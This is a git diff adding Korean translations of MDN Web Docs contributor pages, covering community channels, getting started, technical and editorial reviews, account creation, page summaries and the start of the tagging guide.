+ <dd>사이트 이용법, 콘텐츠 읽는 법, 기여하는 방법 등에 대한 MDN의 일반적인 논의를 합니다. 콘텐츠에 대한 질문이나 덧붙일 말이 있을 때, 기고문을 작성하거나, 그냥 작성팀과 이야기하고 싶을 때 이곳을 이용합니다. </dd>
+ <dt><a href="irc://irc.mozilla.org/mdndev" title="irc://irc.mozilla.org/mdndev">문서 사이트 개발 (#mdndev)</a></dt>
+ <dd>{{IRCLink("mdndev")}} 채널은 MDN 사이드가 동작하는 플랫폼 개발작업에 대해 이야기하는 곳입니다. 사이트 동작에 문제를 겪었거나 신규 기능에 대한 아이디어가 있다면 이곳을 찾으세요. </dd>
+</dl>
+
+<h3 id="토론_비동기">토론 (비동기)</h3>
+
+<p>장기 토론은 <a href="https://discourse.mozilla-community.org/c/mdn">MDN 토론 포럼</a> 을 사용합니다.  이메일(<a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>)을 통해서 포럼에 게시물을 올릴 수 있습니다. 포럼에 합류하면 이메일로 토론 알림을 받을건지 선택할 수 있습니다. </p>
+
+<h2 id="문제_보고하기">문제 보고하기</h2>
+
+<h3 id="문서_오류">문서 오류</h3>
+
+<p>당신이 문서 오류를 발견했는데 수정할 수 없다면, <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">신고</a>하면 됩니다! 모든 종류의 문서 오류가 해당됩니다. 예를 들면</p>
+
+<ul>
+ <li>단순 교정</li>
+ <li>완전히 새로운 항목 요청</li>
+ <li>잘못된 콘텐츠 신고 (악성광고, 잘못 붙인 번역)</li>
+</ul>
+
+<p>위에서도 말한 것 처럼, 우리는 당신이 직접 기여하기를 원합니다. 하지만 신고만해도 괜찮습니다. </p>
+
+<h3 id="사이트_오류">사이트 오류</h3>
+
+<p>MDN 사이트의 문제점을 겪었거나, 신규기능의 아이디어가 있다면 <a href="https://bugzilla.mozilla.org/form.mdn">MDN 개발팀으로 이슈 티켓을 끊어주세요</a>. </p>
diff --git a/files/ko/mdn/contribute/getting_started/index.html b/files/ko/mdn/contribute/getting_started/index.html
new file mode 100644
index 0000000000..23e4774d1d
--- /dev/null
+++ b/files/ko/mdn/contribute/getting_started/index.html
@@ -0,0 +1,111 @@
+---
+title: MDN 시작하기
+slug: MDN/Contribute/Getting_started
+tags:
+  - MDN 메타
+  - 가이드
+  - 공헌하기
+  - 기여하기
+  - 도움말
+  - 시작하기
+  - 초보자
+translation_of: MDN/Contribute/Getting_started
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p id="What_is_MDN.3F"><span class="seoSummary">우리는 어떤 브랜드의 플랫폼이나 브라우저에 상관 없이 더 나은 웹을 위한 리소스를 만드는 오픈 커뮤니티입니다. 누구나 참여할 수 있고, 여러분의 참여는 우리에게 더욱 큰 힘이 됩니다. 우리는 가장 멋진 것들을 제공하기 위해 계속해서 웹의 혁신을 이끌어 낼 것입니다. 여러분들과 함께 말이죠.</span></p>
+
+<p><span>MDN의 모든 것, 이를테면 문서, 데모, 사이트 등은 모두 열린 커뮤니티의 개발자들에 의해 만들어 집니다. 지금 바로 참여하세요!</span></p>
+
+<h2 id="MDN에_참여하기_3단계"><span>MDN에 참여하기 3단계</span></h2>
+
+<p>MDN은 <strong>누구나</strong> 문서를 추가하고 수정할 수 있는 위키입니다. 기술에 대한 방대한 지식을 알아야 한다거나, 프로그래머가 아니더라도 됩니다. 단순히 교정이나 문자를 수정하는 일부터 API 문서를 작성하는 일까지 우리가 할 수 있는 일이 풍부하게 준비되어 있습니다.</p>
+
+<p>기여하기는 쉽고, 안전합니다. 만약 실수를 하더라도, 쉽게 고칠 수 있습니다. 만약 문법을 잘 몰라서 문장이 틀리더라도 걱정하지 마세요. 우리에겐 MDN에 있는 콘텐츠를 가능한 한 좋게 만드는 팀이 있습니다. 우리에게 부족한 점이 있더라도 누군가 우리의 부족한 점을 채워 줄 것입니다. 우리는 우리가 알고 있는 것과, 우리가 잘하는 것에 집중하면 됩니다.</p>
+
+<h3 id="Step_1_MDN_계정_만들기">Step 1: MDN 계정 만들기</h3>
+
+<p>MDN에 참여하기 위해서는 반드시 MDN 계정을 생성해야합니다. <a href="/ko/docs/MDN/Contribute/Howto/Create_an_MDN_account">계정을 만드는 방법</a>에서 자세한 내용을 확인하세요. 참고로 MDN 계정을 만들려면 <a href="https://github.com/join">Github 계정이 필요합니다</a>. 인증에 Github을 사용하고 있습니다. </p>
+
+<p>신규 문서를 만들고 싶다면 {{SectionOnPage("/ko/docs/MDN/Contribute/Howto/Create_and_edit_pages", "문서 생성 권한 얻기")}}를 참고하세요. 문서를 만드는 권한에 대한 중요 정보가 있습니다. 보안상의 이유로 신규 계정은 문서를 만들 수 없습니다. </p>
+
+<h3 id="Step_2_할_일_정하기">Step 2: 할 일 정하기</h3>
+
+<p>로그인 하셨다면, <a href="#할_수_있는_일의_종류">아래의 리스트</a>에서 다양한 작업의 종류의 설명을 읽어보시고 가장 마음에 드시는 것을 고르세요. 작업을 선택하는데 있어 어떠한 제약도 없습니다.</p>
+
+<h3 id="Step_3_작업하기">Step 3: 작업하기</h3>
+
+<p>어떤 일을 할지 결정했다면 특정 페이지나 코드 등 마음에 드는 것을 선택해서 바로 시작하세요!</p>
+
+<p>완벽하지 않아도 괜찮습니다. 오류가 있다면 다른 MDN 공헌자들이 고칠 것입니다. 궁금한 점은 <a href="/ko/docs/MDN/Community">커뮤니티</a> 페이지의 메일링 리스트나 채팅 채널에서 답을 얻을 수도 있습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 수정된 내용을 "실제로" 반영하기 위함이 아닌, 실험을 하고 싶다면 "<a href="/ko/docs/Sandbox">샌드박스</a>" 페이지를 이용하세요. 이 페이지는 반드시 필요한 내용이 아니라면 수정하지 마세요. 단순히 어떤 일이 일어나는지 보려고 불필요한 변경을 하는 것은 다른 공헌자들에게 혼란을 줄 수 있습니다.</p>
+</div>
+
+<p>작업을 모두 마쳤다면, 다른 작업을 자유롭게 고르거나 아래의 <a href="#Other things you can do on MDN">MDN에서 할 수 있는 다른 일</a>을 살펴보세요.</p>
+
+<h2 id="할_수_있는_일의_종류"><a name="Possible task types">할 수 있는 일의 종류</a></h2>
+
+<p>당신의 능력과 관심에 따라 MDN에 기여할 수 있는 다양한 방법들이 있습니다. 일부 작업들은 어렵게 느껴질 수도 있지만, 5분도 안되는 작은 시간으로 간단히 끝낼 수 있는 작업들이 많이 있습니다! 작업에 대한 간단한 설명을 통해 작업 유형 별로 대략적인 소요 시간을 알 수 있을 것입니다.</p>
+
+<h3 id="1번_글_쓰는게_좋아요">1번: 글 쓰는게 좋아요</h3>
+
+<p>문서를 검토하거나 수정하고 올바른 태그를 적용할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page">페이지 요약 달기</a> (5-15분)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Do_an_editorial_review">수정사항 리뷰</a> (5-30분)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">용어사전에 항목 추가하기<sup>(en)</sup></a> (15분-1시간)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">사람들이 웹에 대해 배울 수 있는 글쓰기<sup>(en)</sup></a> (1-3시간)</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 기존 글을 수정하거나 새로운 내용을 작성하고 있다면 <a href="/ko/docs/Project:MDN/Style_guide">스타일 가이드</a>를 준수하고 있는지 확인하세요. 문서들의 일관성을 유지하기 위함입니다.</div>
+
+<h3 id="2번_코드_쓰는게_좋아요">2번: 코드 쓰는게 좋아요</h3>
+
+<p>샘플 코드를 만들어주세요!  아니면 <a href="https://developer.mozilla.org/ko/docs/Project:MDN/Kuma">Kuma</a> 사이트 플랫폼을 구축이나 브라우저 호환성 데이터 구축을 도와주세요. </p>
+
+<ul>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live">"동작하는" 코드 샘플로 변환하기</a> (30분)</li>
+ <li><a href="https://wiki.mozilla.org/Webdev/GetInvolved/developer.mozilla.org">개발자 그룹에 참여하기 읽기</a> (30분)</li>
+ <li><a href="http://kuma.readthedocs.org/en/latest/installation.html">Kuma 빌드 환경 설정</a> (1시간)</li>
+ <li><a href="https://github.com/mozilla/kuma#readme">수정된 코드를 Kuma 코드베이스로 보내기 </a>(1시간)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Add_or_update_browser_compatibility_data">브라우저 호환성 데이터 갱신하기</a> (30분)</li>
+</ul>
+
+<h3 id="3번_글도_코드도_쓰는거라면_뭐든_좋아요">3번: 글도 코드도 쓰는거라면 뭐든 좋아요</h3>
+
+<p>새로운 글을 작성하거나, 기술적 정확성을 검토하기 또는 문서를 각색하기와 같은 기술적이고 언어적 스킬이 모두 요구되는 작업들이 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/MDN/About/Promote">여러분의 웹사이트에 MDN 홍보하기</a> (5분)</li>
+ <li>더이상 사용하지 않는 <a href="/ko/docs/MDN/Contribute/Howto/Remove__Experimental__Macros">"실험적인" 메크로 제거하기</a> (5-30분)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Do_a_technical_review">기술 리뷰</a> (30분)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Contribute_to_docs_that_are_currently_needed">주요한 주제에 해대 새로운 글 작성 </a>(1시간 이상)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">사람들이 웹 학습에 도움을 줄 상호작용하는 예제 작성</a> (1시간 이상)</li>
+ <li><a href="http://www.joshmatthews.net/bugsahoy/?mdn=1">Bugs Ahoy의 MDN 카테고리</a>에 <a href="/ko/docs/MDN/Contribute/Howto/Resolve_a_mentored_developer_doc_request">문서 버그 고치기</a> (1시간 이상)</li>
+</ul>
+
+<h3 id="4번_우리말로_MDN을_보고_싶어요">4번: 우리말로 MDN을 보고 싶어요</h3>
+
+<p>MDN의 모든 현지화 및 번역 작업들은 우리의 멋진 자원 커뮤니티가 수고해 주셨습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/MDN/Contribute/Localize/Translating_pages">페이지 번역하기</a> (2시간) (<a href="/ko/docs/MDN/Doc_status/l10nPriority">주요 페이지 현황</a>)</li>
+ <li><a href="/ko/docs/MDN/Contribute/Localize/Localization_projects">지역화 프로젝트</a>에 올라온 다른 참여자들과 소통하기 (30분)</li>
+</ul>
+
+<h3 id="5번_잘못된_점은_찾았는데_어떻게_고쳐야_할_지_모르겠어요">5번: 잘못된 점은 찾았는데, 어떻게 고쳐야 할 지 모르겠어요</h3>
+
+<p><a class="external" href="https://bugzilla.mozilla.org/form.doc">문서 버그 신고</a>를 작성해서 문제를 보고할 수 있습니다. (5분)</p>
+
+<h2 id="MDN에서_할_수_있는_다른_일"><a name="Other things you can do on MDN">MDN에서 할 수 있는 다른 일</a></h2>
+
+<ul>
+ <li><a href="/ko/docs/MDN/Community">MDN 커뮤니티에 가입</a>하세요.</li>
+ <li>다른 사람들이 당신에 대해 더 많이 알 수 있도록 <a href="/ko/profile">프로필을 작성</a>해보세요.</li>
+ <li><a href="/ko/docs/MDN/Contribute">MDN에 기여하는 법</a>에 대해서 더 자세히 알아보세요.</li>
+</ul>
diff --git a/files/ko/mdn/contribute/howto/do_a_technical_review/index.html b/files/ko/mdn/contribute/howto/do_a_technical_review/index.html
new file mode 100644
index 0000000000..9b648a8d0c
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/do_a_technical_review/index.html
@@ -0,0 +1,41 @@
+---
+title: 기술 리뷰를 하는 방법
+slug: MDN/Contribute/Howto/Do_a_technical_review
+translation_of: MDN/Contribute/Howto/Do_a_technical_review
+---
+<div>{{MDNSidebar}}</div><p class="summary">기술 리뷰는 기술적 정확성과 글의 완결성을 검토하는 것, 필요하다면 수정하는 것으로 이루어집니다. 글의 작성자가 다른 사람이 글의 기술적 내용을 확인하는 것을 바란다면, 작성자는 편집을 하는동안 "Technical review" 체크박스에 체크합니다. 작성자는 대개 기술 리뷰를 위해 특정한 엔지니어와 접촉하지만, 해당 주제에 대한 전문가라면 누구라도 가능합니다.</p>
+<p><span class="seoSummary">이 글은 기술 리뷰를 어떻게 하는지에 대해 기술하고, 그에 따라서 MDN의 컨텐츠들이 정확하도록 도움을 줍니다.</span></p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td><strong>어떤 부분에 이 일이 필요하나요?</strong></td>
+   <td><a href="/en-US/docs/needs-review/technical">technical review</a>가 필요하다고 표시된 특정 글</td>
+  </tr>
+  <tr>
+   <td><strong>이 일을 하기 위해 무엇을 알아야 하나요?</strong></td>
+   <td>
+    <ul>
+     <li>리뷰를 하고 있는 글의 주제에 대한 전문 지식.</li>
+     <li>MDN의 위키 글을 편집할 수 있는 능력.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>어떤 단계를 거쳐야 하나요?</strong></td>
+   <td>
+    <ol>
+     <li><a href="/en-US/docs/needs-review/technical">technical reviews</a>가 필요한 페이지 목록으로 갑니다. 기술 리뷰가 요청된 모든 페이지들이 보여집니다.</li>
+     <li>친숙한 주제를 가진 페이지를 고르세요.</li>
+     <li>링크를 클릭하여서 페이지를 부르세요.</li>
+     <li>페이지가 불려지면, 최상단 근처의 <strong>EDIT</strong> 버튼을 클릭하세요; MDN 에디터로 갑니다. 처음에 고른 페이지가 당신한테 맞지 않는다면 다른 페이지로 바꾸는 것을 주저하지 마세요.</li>
+     <li>글을 읽으면서 틀린 기술 정보를 고치고 빠진 중요한 정보를 추가하세요.</li>
+     <li>글 아래에 당신이 한 일에 대해서 기술하는 다음과 같은 코멘트를 입력하세요, '<em>기술 리뷰 완료.</em>' 정보를 수정한다면, 그것을 코멘트에 포함시키세요, 예를 들어 <em>'기술 리뷰: fixed parameter descriptions.'</em></li>
+     <li><strong>SAVE CHANGES</strong> 버튼을 클릭하세요 .</li>
+     <li>에디터를 닫고 난 후 올바른 글이 화면에 뜨고 나면, 측면의 <strong>Technical</strong> 엔트리를 체크하여 (<strong>다음</strong><b>의 리뷰가 요청되었습니다 </b>아래) <strong>SUBMIT REVIEW </strong>버튼을 클릭하세요.</li>
+     <li>끝났습니다!</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html b/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html
new file mode 100644
index 0000000000..13b2f0d4a1
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/do_an_editorial_review/index.html
@@ -0,0 +1,48 @@
+---
+title: 편집 검토를 하는 방법
+slug: MDN/Contribute/Howto/Do_an_editorial_review
+translation_of: MDN/Contribute/Howto/Do_an_editorial_review
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/ko-KR/docs/MDN")}}</div>
+
+<p class="summary"><strong>편집자 검토</strong>는 글의 오타와 맞춤법, 문법, 단어의 용법, 또는 원문의 오류를 고치는 일입니다. 모든 공헌자분들은 자신의 지식을 사용해 유용하고 가치있는 글을 만드는 데 기여하고 있습니다만, 이분들이 모두 어학전문가는 아닙니다. 따라서 언어적인 측면에서 교열과 교정이 종종 필요해집니다. 이 교열과 교정 작업이 바로 편집자 검토입니다.</p>
+
+<p><span class="seoSummary">이 글은 어떻게 편집자 검토를 수행하는지, 그리하여 MDN 컨텐츠들의 정확도를 높일 수 있게 되는 지에 대해 설명합니다.</span></p>
+
+<dl>
+ <dt>편집자 검토는 어떤 일입니까?</dt>
+ <dd>편집자 검토가 필요하다고 표시된 글들을 교열하고 교정하는 것.</dd>
+ <dt>어떤 글에서 편집자 검토가 필요합니까?</dt>
+ <dd>편집자 검토가 필요하다고 표시된 특별한 글들.</dd>
+ <dt>편집자 검토를 하기 위해서 알아야 하는 것이 있습니까?</dt>
+ <dd>괜찮은 문법과 맞춤법 실력이 필요합니다. 예를 들어 편집 검토는 문법과 철자에 대한 확인을 해야합니다.</dd>
+ <dt>편집자 검토는 어떤 단계를 거칩니까?</dt>
+ <dd>
+ <ol>
+  <li>검토할 글을 선택합니다:
+   <ol>
+    <li><a href="/ko-KR/docs/needs-review/editorial">편집자 검토가 필요한 글</a> 목록으로 이동합니다. 이곳에는 편집자 검토가 필요한 페이지들이 나열되어 있습니다.</li>
+    <li>경로가 <code>Template:</code>으로 시작하지 않는 한국어 제목을 가진 페이지를 선택합니다.(<code>Template:</code>페이지는 MDN 매크로코드를 포함하고 있습니다)</li>
+    <li>글 링크를 클릭해서 페이지를 불러옵니다.</li>
+   </ol>
+  </li>
+  <li><a id="core-steps" name="core-steps"></a>글의 오탈자, 철자, 문법 및 어법상의 오류에 주의를 기울이며 읽습니다. 만일 선택한 글이 능력에 부친다고 생각되면, 다른 글을 새로 선택하십시오.</li>
+  <li>만일 살펴본 글에 오류가 없다면, 페이지 왼쪽 사이드바에서 "quick review" 상자를 찾아보십시오:<br>
+   <img alt="Screenshot of Korean version of the editorial review request sidebar box" src="https://mdn.mozillademos.org/files/14677/Screenshot%20of%20the%20editorial%20review%20request%20sidebar%20box_ko.png" style="height: 90px; width: 281px;"></li>
+  <li><strong>편집 </strong>상자의 선택을 해제하고, <strong>저장 </strong>버튼을 클릭합니다.</li>
+  <li>오류를 발견했다면, 수정을 해야합니다:
+   <ol>
+    <li>페이지 상단의 <strong>편집 </strong>버튼을 클릭합니다. <a href="/ko-KR/docs/Project:MDN/Contributing/Editor_guide">MDN editor</a>가 열립니다.</li>
+    <li>발견한 오탈자, 문법, 어법상의 오류를 수정 합니다. 모든 오류를 한번에 다 고치지 않아도 괜찮습니다만, 남은 오류가 없다는 확신을 갖기 어렵다면 편집자 검토 요청 상태를 유지해주십시오.</li>
+    <li>글 하단의 <strong>리비전 답글 </strong>항목을 입력합니다; '<em>편집자 검토: 오타, 문법, 맞춤법 수정됨.</em>'같은 식으로 적으시면 됩니다. 이 리비전 답글의 내용으로 다른 공헌자들이나 사이트 편집자들이 어떤 것이 수정되었는지, 왜 수정했는 지에 대해 알 수 있습니다.</li>
+    <li><strong>검토가 필요한가요? </strong>에서 <strong>편집 </strong>체크상자를 해제해주십시오. 이 내용은 리비전 답글 항목의 바로 위에 있습니다.</li>
+    <li><strong>게시 </strong>버튼을 클릭해주세요</li>
+   </ol>
+  </li>
+ </ol>
+
+ <div class="note">
+ <p>수정 내용은 저장 직후에 바로 보이지 않을 수 있습니다. 페이지 내용이 처리되고 저장되기 까지는 약간의 시간지연이 있을 수 있습니다.</p>
+ </div>
+ </dd>
+</dl>
diff --git a/files/ko/mdn/contribute/howto/index.html b/files/ko/mdn/contribute/howto/index.html
new file mode 100644
index 0000000000..41b5fe582f
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/index.html
@@ -0,0 +1,14 @@
+---
+title: MDN web docs 사용 방법
+slug: MDN/Contribute/Howto
+tags:
+  - 가이드
+  - 도움말
+  - 시작하기
+translation_of: MDN/Contribute/Howto
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>이 페이지에서는 여러분이 MDN에 공헌하기 위한 목표를 달성하는 데에 도움을 줄 단계별 가이드를 제공합니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mdn/contribute/howto/mdn_계정_생성하기/index.html b/files/ko/mdn/contribute/howto/mdn_계정_생성하기/index.html
new file mode 100644
index 0000000000..b3b84a92b1
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/mdn_계정_생성하기/index.html
@@ -0,0 +1,32 @@
+---
+title: MDN 계정 생성
+slug: MDN/Contribute/Howto/MDN_계정_생성하기
+tags:
+  - 가입
+  - 계정
+  - 시작하기
+  - 인증
+translation_of: MDN/Contribute/Howto/Create_an_MDN_account
+---
+<div>{{MDNSidebar}}</div><p>페이지를 수정하거나 데모에 기여하는 등 MDN의 컨텐츠를 변경하려면 MDN 프로필이 필요합니다. 단지 내용을 읽거나 검색하는 것에는 프로필이 필요없으니 걱정하지 마세요. 아래는 MDN 프로필을 설정하기 위한 가이드입니다.</p>
+
+<p>MDN에 기여하기로 마음 먹었다면 여러분이 할 일은 다음과 같습니다. :</p>
+
+<ol>
+ <li>모든 MDN 페이지의 최상단에는 "Sign in with"(또는 '로그인') 버튼이 있습니다. 마우스를 포인터를 올려 놓으면(모바일 디바이스에서는 탭) MDN에서 사용 가능한 인증 서비스 목록이 나타납니다.</li>
+ <li>로그인 할 서비스를 선택하세요. Persona 가 아닌 인증 서비스를 선택했다면 여러분의 공개 프로필에 여러분이 어떤 인증 방법으로 인증했는지 표시됩니다.</li>
+ <li>각 서비스별 인증 단계를 따르십시오.</li>
+ <li>각 서비스별 인증 단계를 마치고 MDN 페이지로 돌아오면,  이름과 이메일 주소를 입력해야 합니다. <strong>입력한 이름은 모든 작업물에 공개적으로 표시되므로, 메일 주소를 이름으로 사용하지 마십시오.</strong></li>
+ <li>'MDN 프로필 생성' 버튼을 클릭합니다.</li>
+ <li>4단계에서 입력한 이메일 주소가 여러분이 인증한 서비스 프로필 상의 이메일 주소와 다르면, 입력한 이메일 주소가 올바른지 확인하게 됩니다. 입력한 이메일 주소로 발송된 확인 메일의 링크를 클릭하세요.</li>
+</ol>
+
+<p>이게 전부입니다! 이제 여러분의 MDN 계정이 생겼으니, 지금 당장 페이지들을 수정하거나 태그를 달 수 있습니다.</p>
+
+<p>모든 MDN 페이지의 최상단에 있는 여러분의 이름을 클릭하면 여러분의 공개 프로필을 볼 수 있으며, "편집" 버튼을 눌러 새로운 정보를 업데이트 할 수 있습니다. 여러분의 관심사나 블로그 주소, 트위터 계정, 혹은 그 외의 어떤 것이라도 나누어 보세요.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 새로운 사용자 이름에 공백이나 '@' 문자를 포함할 수 없습니다. 사용자 이름은 당신의 모든 작업물에서 공개적으로 보여진다는 것을 기억하세요!</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/mdn/contribute/howto/report_a_problem/index.html b/files/ko/mdn/contribute/howto/report_a_problem/index.html
new file mode 100644
index 0000000000..286b4b6ff6
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/report_a_problem/index.html
@@ -0,0 +1,20 @@
+---
+title: MDN에 문제 보고하기
+slug: MDN/Contribute/Howto/Report_a_problem
+translation_of: MDN/Contribute/Howto/Report_a_problem
+---
+<div>{{MDNSidebar}}</div>
+
+<p>가끔씩은 MDN을 이용하면서 몇몇 문제를 발견하게 될 수도 있습니다. 사이트의 내부 구조에서 생긴 문제나 문서 내용에 잘못된 점이 있다면, 직접 수정하거나 문제점을 보고할 수 있습니다. 물론 직접 수정해주는 것이 제일 좋겠지만, 문제점을 알려주는 것이 최선이라면 그것도 괜찮습니다.</p>
+
+<h3 id="문서의_오류">문서의 오류</h3>
+
+<p>너무나 당연한 소리이지만, MDN은 위키이기 때문에 여러분들이 할 수 있는 가장 좋은 방법은 직접 수정해주는 것입니다. 하지만 어떻게 해야 할지 잘 모르겠거나 정말로 위급한 상황 하에 있을 경우에는, 다른 사람이 나중에 볼 수 있도록 문제점을 어딘가에 적어두고 싶을 수도 있습니다.</p>
+
+<p>Mozilla의 모든 경우와 마찬가지로, <a href="https://bugzilla.mozilla.org/form.doc">문서 요청 버그</a>를 제출하여 문서의 문제점을 보고할 수 있습니다. 별로 복잡하지 않은 이 문서 요청 양식을 제출하면 우리가 문제를 해결할 수 있는 자료를 수집할 것입니다.</p>
+
+<p>물론, 우리들의 쓰기 커뮤니티는 굉장히 바쁘기 때문에, 때로는 문제를 직접 수정하는 것이 가장 빨리 해결하는 방법입니다. 자세한 내용은 <a href="/en-US/docs/MDN/Contribute/Creating_and_editing_pages" title="/en-US/docs/Project:MDN/Contributing/Creating_and_editing_pages">페이지를 만들고 수정하기</a>를 참고하세요.</p>
+
+<h3 id="사이트_버그_신고나_기능_제안">사이트 버그 신고나 기능 제안</h3>
+
+<p>MDN 웹사이트에 사용하기 위해 Mozilla가 개발한 플랫폼 <a href="/en-US/docs/Project:MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a>는 지금도 계속해서 개발이 진행중입니다. 수많은 자원 봉사 기여자들을 포함한 우리 개발자들은 이를 끊임없이 개선하고 있습니다. 버그나 사이트의 문제점을 발견하였다면, 아니면 소프트웨어를 더 멋지게 만드는 방법을 제안하고 싶다면 <a href="https://github.com/mdn/kuma/issues/new">Kuma 버그 양식</a>으로 보고할 수 있습니다.</p>
diff --git a/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html
new file mode 100644
index 0000000000..e26a3d3a05
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html
@@ -0,0 +1,53 @@
+---
+title: 페이지에 대한 요약을 설정하는 방법
+slug: MDN/Contribute/Howto/Set_the_summary_for_a_page
+translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page
+---
+<div>{{MDNSidebar}}</div>
+
+<p>MDN의 페이지에 대한 요약을 정의할 수 있습니다. 이 요약은 검색 엔진의 결과, 시사적인 랜딩 페이지와 같은 다른 MDN 페이지 또는 툴팁에서 다양하게 사용됩니다. 요약은 페이지 내용의 나머지가 없이도 페이지의 문맥과 다른 문맥에서 보여졌을 때 모두 의미가 통해야 합니다.</p>
+
+<p>요약은 한 페이지 이내로 분명하게 정의됩니다. 요약이 분명하게 정의되지 않았다면, 보통 첫 번째 문장 정도가 사용되는데 이는 언제나 목적을 위한 최고의 텍스트가 아닙니다.</p>
+
+<table class="full-width-table">
+ <tbody>
+  <tr>
+   <td><strong>어떤 일을 해야 하나요?</strong></td>
+   <td>다른 문맥에서 요약으로 사용되어야 하는 페이지 내의 텍스트를 표시하기; 필요하다면 이 작업은 적합한 텍스트를 작성하는 것을 포함할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <td><strong>어디서 이 일이 필요하나요?</strong></td>
+   <td>요약이 부족하거나 미흡한 페이지.</td>
+  </tr>
+  <tr>
+   <td><strong>이 일을 하기 위해 무엇을 알아야 하나요?</strong></td>
+   <td>MDN 에디터 사용 능력; 좋은 영작문 솜씨; 좋은 요약을 작성하기 위한 주제에 대한 충분한 친숙도</td>
+  </tr>
+  <tr>
+   <td><strong>이 일을 하기 위한 단계는 어떻게 되나요?</strong></td>
+   <td>
+    <ol>
+     <li>요약을 설정할 페이지를 고릅니다:
+      <ol>
+       <li><a href="/en-US/docs/MDN/Doc_status">MDN documentation status</a> 페이지에서, <strong>Sections </strong>아래에서 알고 있는 주제의 링크를 클릭합니다.(예를 들어, HTML).</li>
+       <li>주제의 문서 상태 페이지에서 <strong>Summary </strong>테이블의 <strong>Pages </strong>헤더를 클릭합니다. 해당 주제 섹션의 모든 페이지 인덱스로 이동됩니다.; 왼쪽 열에는 페이지 링크들이, 오른쪽 열에는 태그와 요약들이 보입니다.</li>
+       <li>요약이 없거나, 좋지 않은 요약을 가진 페이지를 고릅니다.</li>
+       <li>링크를 클릭하여 해당 페이지로 갑니다.</li>
+      </ol>
+     </li>
+     <li><strong>Edit</strong>를 클릭하여서 MDN 에디터로 페이지를 엽니다.</li>
+     <li>문맥과 상관없이 요약으로 사용될 한 문장 또는 두 문장을 찾습니다. 필요하다면, 기존의 내용을 수정하여서 문장이 좋은 요약이 되도록 만들거나 수정합니다.</li>
+     <li>요약으로 사용될 텍스트를 선택합니다.</li>
+     <li>에디터 툴바의 <em>Styles</em> 위젯에서 <strong>SEO Summary</strong>를 선택합니다. (이것은 페이지 소스에서 선택된 텍스트에 class="seoSummary"를 가진 {{HTMLElement("span")}} 엘레멘트를 추가합니다. )</li>
+     <li>"페이지 요약 설정"과 같은 수정 코멘트와 함께 변경사항을 저장합니다.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ko/mdn/contribute/howto/tag/index.html b/files/ko/mdn/contribute/howto/tag/index.html
new file mode 100644
index 0000000000..a0604dc8fa
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/tag/index.html
@@ -0,0 +1,396 @@
+---
+title: 페이지에 올바르게 태그하는 방법
+slug: MDN/Contribute/Howto/Tag
+tags:
+  - Beginner
+  - Contribute
+  - Glossary
+  - Guide
+  - Howto
+  - Intro
+  - MDN Meta
+  - Tutorial
+translation_of: MDN/Contribute/Howto/Tag
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary"><strong>문서 태그</strong>는 방문자에게 유용한 컨텐츠를 제공하는 중요한 방법입니다. 각 페이지는 콘텐츠 정리에 도움을 줄 수 있도록 몇 개의 태그를 가져야 합니다. <span class="seoSummary">본 페이지는 독자들이 정보를 찾을 때나, 사이트를 체계적으로 유지할 때 필요한 페이지 태그를 하는 가장 좋은 방법을 설명합니다.</span></p>
+
+<p>태그를 편집할 때 사용하는 인터페이스에 대한 도움이 필요하시면, 편집 가이드의 <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#The_tags_box">태그 섹션</a>을 참고하세요.</p>
+
+<p>아래의 설명처럼 태그를 적절히 사용해주세요. 그렇지 않으면, 저희의 자동화 도구가 콘텐츠 목록, 랜딩 페이지, 문서 간 링크 등을 정확하게 생성하지 못합니다.</p>
+
+<h2 id="MDN이_태그를_사용하는_방법">MDN이 태그를 사용하는 방법</h2>
+
+<p>MDN은 태그를 여러가지 방법으로 사용합니다.</p>
+
+<dl>
